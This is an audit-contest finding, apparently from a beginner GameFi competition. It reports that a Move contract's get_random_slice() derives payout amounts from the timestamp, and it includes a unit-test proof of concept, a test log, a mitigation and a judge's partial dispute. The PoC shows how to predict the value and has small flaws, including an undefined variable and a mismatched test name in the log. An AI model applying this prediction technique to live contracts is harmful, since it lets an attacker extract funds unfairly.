Beginner FriendlyGameFi
100 EXP
View results
Submission Details
Severity: medium
Valid

Weak Randomness on `get_random_slice()`

Root + Impact

Description

The function get_random_slice generates a “random” value using only the system timestamp (timestamp::now_microseconds()). The problem is that this value can be observed or predicted by anyone before the transaction executes, allowing an attacker to anticipate the random_amount a user will receive.

#[randomness]
entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
@> let time = timestamp::now_microseconds();
let random_val = time % 401;
let random_amount = 100 + random_val; // 100-500 APT (in Octas: 10^8 smallest unit)
table::add(&mut state.users_claimed_amount, user_addr, random_amount);
}

Risk

Impact:

  • An attacker can time their function call to obtain the highest possible value (or a specific desired value) of APT

  • This breaks fairness in the “random pizza slice” distribution and allows exploitation for unfair gains

Proof of Concept

#[test(deployer = @pizza_drop, attacker = @0x123, framework = @0x1)]
fun test_POC(deployer: &signer, attacker: &signer, framework: &signer) acquires State, ModuleData {
use aptos_framework::account;
use aptos_framework::timestamp;
use aptos_framework::aptos_coin;
// Setup
timestamp::set_time_has_started_for_testing(framework);
let (burn_cap, mint_cap) = aptos_coin::initialize_for_test(framework);
account::create_account_for_test(@pizza_drop);
account::create_account_for_test(signer::address_of(attacker));
init_module(deployer);
let funding_amount = 100000;
let deployer_coins = coin::mint<AptosCoin>(funding_amount, &mint_cap);
coin::register<AptosCoin>(deployer);
coin::deposit<AptosCoin>(@pizza_drop, deployer_coins);
fund_pizza_drop(deployer, 10000);
let attacker_addr = signer::address_of(attacker);
//POC :
//The attacker predicts the number
let predicted_time = timestamp::now_microseconds();
let predicted_val = (predicted_time % 401) + 100;
debug::print(&predicted_val);
register_pizza_lover(deployer, attacker_addr);
let state = borrow_global<State>(get_resource_address());
let actual_val = *table::borrow(&state.users_claimed_amount, user_addr);
debug::print(&actual_val);
assert!(predicted_val == actual_val,1);
// Clean up (won't reach here)
coin::destroy_burn_cap(burn_cap);
coin::destroy_mint_cap(mint_cap);
}

test run :

Running Move unit tests
[debug] 100
[debug] 100
[ PASS ] 0xccc::airdrop::test_double_claim_fails
Test result: OK. Total tests: 1; passed: 1; failed: 0
{
"Result": "Success"
}


Recommended Mitigation

On the Aptos network, smart contracts can leverage built-in secure randomness functions to generate unpredictable numbers. For instance, the module aptos_framework::rand provides cryptographically secure random values, ensuring that outcomes cannot be predicted or manipulated by attackers. Using these functions is recommended over relying on predictable sources such as timestamps, which can compromise fairness and security in on-chain applications

Updates

Appeal created

bube Lead Judge 9 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Predictable randomness

The `get_random_slice` function should only be called by the owner via the `register_pizza_lover` function. Also, the `owner` is trusted and will not choose a specific time for a new user to register. Therefore, I disagree with the claim of most reports in this group that an attacker can manipulate the random number of pizza slices. But I agree with the root cause of the reports in this group, that the random distribution is not completely random.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.